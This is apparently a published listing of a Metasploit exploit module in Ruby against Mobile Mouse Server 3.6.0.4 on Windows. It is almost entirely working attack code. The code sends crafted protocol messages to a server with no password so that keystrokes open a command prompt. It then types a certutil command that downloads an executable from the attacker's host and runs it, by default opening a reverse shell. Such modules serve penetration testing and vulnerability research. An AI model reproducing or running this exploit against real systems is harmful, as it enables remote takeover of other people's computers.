Headline
Mobile Mouse Remote Code Execution
This Metasploit module utilizes the Mobile Mouse Server by RPA Technologies, Inc protocol to deploy a payload and run it from the server. This module will only deploy a payload if the server is set without a password (default). Tested against 3.6.0.4, the current version at the time of module writing.
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Exploit::Remote::Tcp include Exploit::EXE # generate_payload_exe include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Mobile Mouse RCE', 'Description' => %q{ This module utilizes the Mobile Mouse Server by RPA Technologies, Inc protocol to deploy a payload and run it from the server. This module will only deploy a payload if the server is set without a password (default). Tested against 3.6.0.4, current at the time of module writing }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'CHOKRI HAMMEDI' # edb ], 'References' => [ [ 'EDB', '51010' ], [ 'URL', 'https://mobilemouse.com/' ], ], 'Arch' => [ ARCH_X64, ARCH_X86 ], 'Platform' => 'win', 'Stance' => Msf::Exploit::Stance::Aggressive, 'Targets' => [ ['default', {}], ], 'Payload' => { 'BadChars' => "\x04\x1E" }, 'DefaultOptions' => { 'PAYLOAD' => 'windows/shell/reverse_tcp' }, 'DisclosureDate' => '2022-09-20', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK] # typing on screen } ) ) register_options( [ OptPort.new('RPORT', [true, 'Port Mobile Mouse runs on', 9099]), OptInt.new('SLEEP', [true, 'How long to sleep between commands', 3]), OptString.new('PATH', [true, 'Where to stage payload for pull method', 'c:\\Windows\\Temp\\']), OptString.new('CLIENTNAME', [false, 'Name of client, this shows up in the logs', '']), ] ) end def path return datastore['PATH'] if datastore['PATH'].end_with? '\\' "#{datastore['PATH']}\\" end def connect_command connect_command = 'CONNECT' # 434F4E4E454354 connect_command << "\x1E\x1E" connect_command << @client_name connect_command << "\x1E" connect_command << 'iPhone' # 6950686F6E65 connect_command << "\x1E" # the next 2,2 may be a version number of some sort connect_command << '2' # 32 connect_command << "\x1E" connect_command << '2' # 32 connect_command << "\x1E\x04" sock.put(connect_command) sleep(datastore['SLEEP']) end def open_command_prompt open_command_prompt = 'KEY' # 4b4559 open_command_prompt << "\x1E" open_command_prompt << '114' # 313134 windows key? open_command_prompt << "\x1E" open_command_prompt << 'r' # 72 open_command_prompt << "\x1E" open_command_prompt << 'OPT' # 4f5054 open_command_prompt << "\x04" sock.put(open_command_prompt) sleep(datastore['SLEEP']) end def script_content(payload) script_content = 'KEY' # 4B4559 script_content << "\x1E" script_content << '100' # 313030 script_content << "\x1E" script_content << payload script_content << "\x1E\x04" script_content << 'KEY' # 4B4559 script_content << "\x1E" script_content << '-1' # 2d31 script_content << "\x1E" script_content << 'ENTER' # 454e544552 script_content << "\x1E\x04" sock.put(script_content) sleep(datastore['SLEEP']) end def on_request_uri(cli, _req) p = generate_payload_exe send_response(cli, p) print_good("Payload request received, sending #{p.length} bytes of payload for staging") end def check if datastore['CLIENTNAME'].blank? @client_name = Rex::Text.rand_text_alphanumeric(5..10).to_s print_status("Client name set to: #{@client_name}") else @client_name = datastore['CLIENTNAME'] end connect print_status('Connecting') connect_command res = sock.get_once if res.nil? return CheckCode::Unknown('No response received from target') end disconnect res = res.split("\x1E") if res[1] == 'NO' return CheckCode::Safe("Unable to connect, server response: #{res[4]}") end CheckCode::Appears("Connected to hostname #{res[3]} with MAC address #{res[5]}") end def exploit if datastore['CLIENTNAME'].blank? @client_name = Rex::Text.rand_text_alphanumeric(5..10).to_s print_status("Client name set to: #{@client_name}") else @client_name = datastore['CLIENTNAME'] end connect print_status('Connecting') connect_command res = sock.get_once if res.nil? fail_with(Failure::Disconnected, 'No response received from target') end res = res.split("\x1E") if res[1] == 'NO' fail_with(Failure::NoAccess, "Unable to connect, server response: #{res[4]}") end vprint_good("Connected to hostname #{res[3]} with MAC address #{res[5]}") print_status('Opening Command Prompt') open_command_prompt # for whatever reason, if we don't read here the server doesn't want to keep playing with us, so read but throw away sock.get_once print_status('Sending stager') filename = Rex::Text.rand_text_alphanumeric(rand(8..17)) + '.exe' register_file_for_cleanup("#{path}#{filename}") # I attempted to put this all in one, stage, run, exit, but it was never successful, so we'll keep it in 2 stager = "certutil.exe -urlcache -f http://#{datastore['lhost']}:#{datastore['SRVPORT']}/ #{path}#{filename}" start_service('Path' => '/') # start webserver script_content(stager) print_status('Opening Command Prompt again') open_command_prompt print_status('Executing payload') script_content("#{path}#{filename} && exit") handler disconnect sleep(datastore['SLEEP'] * 2) # give time for it to do its thing before we revert endend